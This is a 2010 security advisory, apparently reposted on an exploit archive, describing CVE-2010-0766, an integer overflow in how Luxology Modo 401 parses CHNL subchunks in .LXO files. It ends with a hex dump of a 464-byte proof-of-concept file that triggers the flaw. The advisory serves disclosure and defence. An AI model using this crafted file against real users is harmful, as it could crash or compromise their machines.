Luxology Modo 401 .LXO Integer Overflow Vulnerability
Posted on 08 March 2010
===================================================== Luxology Modo 401 .LXO Integer Overflow Vulnerability ===================================================== Vendors contacted: Luxology LLC Release mode: User release 2. *Vulnerability Information* Class: Failure to Sanitize Data into a Different Plane [CWE-74] Impact: Code execution Remotely Exploitable: Yes (client side) Locally Exploitable: No CVE Name: CVE-2010-0766 3. *Vulnerability Description* Modo 401[2] is an advanced polygon, subdivision surface, modeling, sculpting, 3D painting, animation and rendering package developed by Luxology LLC [3]. The function Swap4 in valet4.dll takes a length and an input buffer and proceeds to reverse DWORDs in the input buffer for proper endianness. In the case of the CHNL subchunk in which passing an invalid length to the Swap4 function would reverse every DWORD in the stack, both reversing SEH pointer near the bottom of the stack AND causing an exception An attacker can take full control of the machine where Luxology Modo 401 is installed by sending a specially crafted .LXO file and enticing the user to open it. 4. *Vulnerable packages* . Luxology Modo 401 - Windows . Older versions are probably affected too, but they were not checked. 5. *Vendor Information, Solutions and Workarounds* The vendor did not provide fixes or workaround information. To determine if a .LXO is suspicious you could parse the content of the file searching for CHNL subchunk and validate its length. 6. *Credits* This vulnerability was discovered and researched by Diego Juarez and Nadia Rodriguez from Core Security Technologies during Bugweek 2009 [1]. 7. *Technical Description / Proof of Concept Code* The LXO file format is derived from the metaformat for binary files described in "EA IFF 85 Standard for Interchange Format Files."[4] Mainly consisting of chunks and subchunks. While parsing subchunks, the function Swap4 in valet4.dll takes a length and an input buffer and proceeds to reverse DWORDs in the input buffer for proper endianness. A vulnerability was observed in the case of the CHNL subchunk in which passing an invalid length to the Swap4 function would reverse every DWORD in the stack, both reversing SEH pointer near the bottom of the stack AND causing an exception (ie: forcing a call to the now reversed SEH pointer). We belive this condition may be exploitable in some scenarios as long as the address of function __except_handler3 in kernel32.dll has a least significant byte < 0x7F. Proof of concept: Here is a 464 bytes long LXO file demonstrating the issue /----- 00000000: 46 4F 52 4D-00 00 01 C4-4C 58 4F 42-54 41 47 53 FORM ?-LXOBTAGS 00000010: 00 00 00 08-44 65 66 61-75 6C 74 00-4C 41 59 52 ?Default LAYR 00000020: 00 00 00 1A-00 00 00 00-00 00 00 00-00 00 00 00 ? 00000030: 00 00 00 00-6C 61 79 65-72 6E 61 6D-65 00 50 4E layername PN 00000040: 54 53 00 00-00 60 BF 00-00 00 BF 00-00 00 BF 00 TS `+ + + 00000050: 00 00 3F 00-00 00 BF 00-00 00 BF 00-00 00 3F 00 ? + + ? 00000060: 00 00 BF 00-00 00 3F 00-00 00 BF 00-00 00 BF 00 + ? + + 00000070: 00 00 3F 00-00 00 BF 00-00 00 3F 00-00 00 BF 00 ? + ? + 00000080: 00 00 3F 00-00 00 3F 00-00 00 BF 00-00 00 3F 00 ? ? + ? 00000090: 00 00 3F 00-00 00 3F 00-00 00 BF 00-00 00 3F 00 ? ? + ? 000000A0: 00 00 3F 00-00 00 42 42-4F 58 00 00-00 18 BF 00 ? BBOX ?+ 000000B0: 00 00 BF 00-00 00 BF 00-00 00 3F 00-00 00 3F 00 + + ? ? 000000C0: 00 00 3F 00-00 00 50 4F-4C 53 00 00-00 40 46 41 ? POLS @FA 000000D0: 43 45 00 04-00 00 00 01-00 02 00 03-00 04 00 00 CE ? ? ? ? ? 000000E0: 00 04 00 05-00 01 00 04-00 01 00 05-00 06 00 02 ? ? ? ? ? ? ? ? 000000F0: 00 04 00 03-00 02 00 06-00 07 00 04-00 00 00 03 ? ? ? ? ? ? 00000100: 00 07 00 04-00 04 00 04-00 07 00 06-00 05 50 54 ? ? ? ? ?PT 00000110: 41 47 00 00-00 1C 53 55-52 46 00 00-00 00 00 01 AG ?SURF ? 00000120: 00 00 00 02-00 00 00 03-00 00 00 04-00 00 00 05 ? ? ? ? 00000130: 00 00 53 55-52 46 00 00-00 2A 44 65-66 61 75 6C SURF *Defaul 00000140: 74 00 00 00-43 4F 4C 52-00 0E 3F 48-C8 8A 3F 48 t COLR ??H+??H 00000150: C8 8A 3F 48-C8 8A 00 00-44 49 46 46-00 06 3F 80 +??H+? DIFF ??? 00000160: 00 00 00 00-49 54 45 4D-00 00 00 64-70 6F 6C 79 ITEM dpoly 00000170: 52 65 6E 64-65 72 00 06-00 00 00 00-00 03 4C 49 Render ? ?LI 00000180: 4E 4B 00 10-70 61 72 65-6E 74 00 00-00 00 00 03 NK ?parent ? 00000190: 00 00 00 00-43 48 4E 56-00 22 61 6D-62 43 6F 6C CHNV "ambCol 000001A0: 6F 72 00 00-00 02 00 00-00 03 52 00-40 00 00 00 or ? ?R @ 000001B0: 47 00 3F 80-00 00 42 00-3F 80 00 00-43 48 4E 4C G ?? B ?? CHNL 000001C0: 00 12 62 75-67 68 65 72-65 00 00 01-70 6E 78 21 ?bughere ?pnx! - -----/ # ~ - [ [ : Inj3ct0r : ] ]
